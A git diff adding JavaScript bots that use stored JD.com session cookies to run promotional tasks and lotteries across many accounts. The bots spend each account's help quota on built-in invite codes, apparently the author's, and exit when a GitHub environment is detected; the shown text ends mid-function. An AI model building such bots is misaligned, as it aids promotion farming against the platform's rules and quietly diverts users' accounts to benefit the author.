+ "origin": "https://gmart.jd.com", + "referer": "https://gmart.jd.com/", + 'accept': 'application/json, text/plain, */*', + 'accept-encoding': 'gzip, deflate, br', + 'accept-language': 'zh-cn', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_health.js b/activity/jd_health.js new file mode 100644 index 0000000..6d52d2a --- /dev/null +++ b/activity/jd_health.js @@ -0,0 +1,399 @@ +/* +健康抽奖机 ,活动于2020-12-31日结束 +脚本会给内置的码进行助力 +活动地址:https://h5.m.jd.com/babelDiy/Zeus/3HBUP66Gnx92mRt2bXbT9VamYWSx/index.html +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#健康抽奖机 +10 0 * * * jd_health.js, tag=健康抽奖机, enabled=true + +================Loon============== +[Script] +cron "10 0 * * *" script-path=jd_health.js,tag=健康抽奖机 + +===============Surge================= +健康抽奖机 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_health.js + +============小火箭========= +健康抽奖机 = type=cron,script-path=jd_health.js, cronexpr="10 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('健康抽奖机'); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const inviteCodes = [`P04z54XCjVUnoaW5nJcXCCyoR8C6i9QR16e`, 'P04z54XCjVUnoaW5m9cZ2T6jChKkh8FWbFAplQ', `P04z54XCjVUnoaW5u2ak7ZCdan1Bdbpik_F9ud7lznm`, `P04z54XCjVUnoaW5m9cZ2ariXVJwFN5uKHNqnc`]; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat(); + await jdHealth() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdHealth() { + await helpFriends(); + await jdhealth_getTaskDetail(); + await doTask(); + await jdhealth_getTaskDetail(0); + if($.userInfo.scorePerLottery<=$.userInfo.userScore){ + console.log(`当前用户金币: ${$.userInfo.userScore},抽奖需要${$.userInfo.scorePerLottery},开始抽奖`) + message += `当前用户金币: ${$.userInfo.userScore},抽奖需要${$.userInfo.scorePerLottery},开始抽奖\n` + for(let i=0;i { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + if (new Date().getHours() === 23) { + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + const helpRes = await jdhealth_collectScore(code,6,null); + if (helpRes.code === 0 && helpRes.data.bizCode === -7) { + console.log(`助力机会已耗尽,跳出`); + break + } + } +} +async function doTask() { + for (let item of $.taskVos) { + if (item.taskType === 9||item.taskType === 26) { + //逛会场任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`) + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await jdhealth_collectScore(task.taskToken,item.taskId,task.itemId,1); + await $.wait(15000) + await jdhealth_collectScore(task.taskToken,item.taskId,task.itemId,0); + } + } + } else if(item.status!==4){ + console.log(`${item.taskName}已做完`) + } + } + + if (item.taskType === 21) { + // 会员任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.brandMemberVos) { + if (task.status === 1) { + await jdhealth_collectScore(task.taskToken,item.taskId,task.itemId,1); + await jdhealth_collectScore(task.taskToken,item.taskId,task.itemId,0); + } + } + } else if(item.status!==4){ + console.log(`${item.taskName}已做完`) + } + } + } +} + +//领取做完任务的奖励 +function jdhealth_collectScore(taskToken, taskId, itemId, actionType=0) { + return new Promise(resolve => { + let body = { "appId":"1EFRTwg","taskToken":taskToken,"taskId":taskId,"itemId":itemId,"actionType":actionType } + $.post(taskPostUrl("harmony_collectScore", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.data.bizCode === 1){ + console.log(`任务领取成功`); + message += `任务领取成功\n` + } + else if (data.data.bizCode === 0) { + if(data.data.result.taskType===6){ + console.log(`助力好友:${data.data.result.itemId}成功!`) + message += `助力好友:${data.data.result.itemId}成功!\n` + }else { + console.log(`任务完成成功`); + message += `任务完成成功!\n` + } + + } else { + console.log(`${data.data.bizMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 抽奖 +function jdhealth_getLottery() { + return new Promise(resolve => { + let body = { "appId":"1EFRTwg"} + $.post(taskPostUrl("interact_template_getLotteryResult", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`抽奖成功,获得:${JSON.stringify(data.data.result.userAwardsCacheDto)}`); + message+= `抽奖成功,获得:${JSON.stringify(data.data.result.userAwardsCacheDto)}\n` + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function jdhealth_getTaskDetail(get=1) { + return new Promise(resolve => { + $.post(taskPostUrl("healthyDay_getHomeData", {"appId":"1EFRTwg","taskToken":""}, ), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos;//任务列表 + $.userInfo = data.data.result.userInfo; + if(get) + $.taskVos.map(item => { + if (item.taskType === 14) { + console.log(`\n您的${$.name}好友助力邀请码:${item.assistTaskDetailVo.taskToken}\n`) + message += `\n您的${$.name}好友助力邀请码:${item.assistTaskDetailVo.taskToken}\n` + } + }) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `http://api.turinglabs.net/api/v1/jd/jdhealth/read/${randomCount}/`}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + // await $.wait(2000); + // resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = null //await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + const shareCodes = [] //$.isNode() ? require('./jdSplitShareCodes.js') : ''; + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else 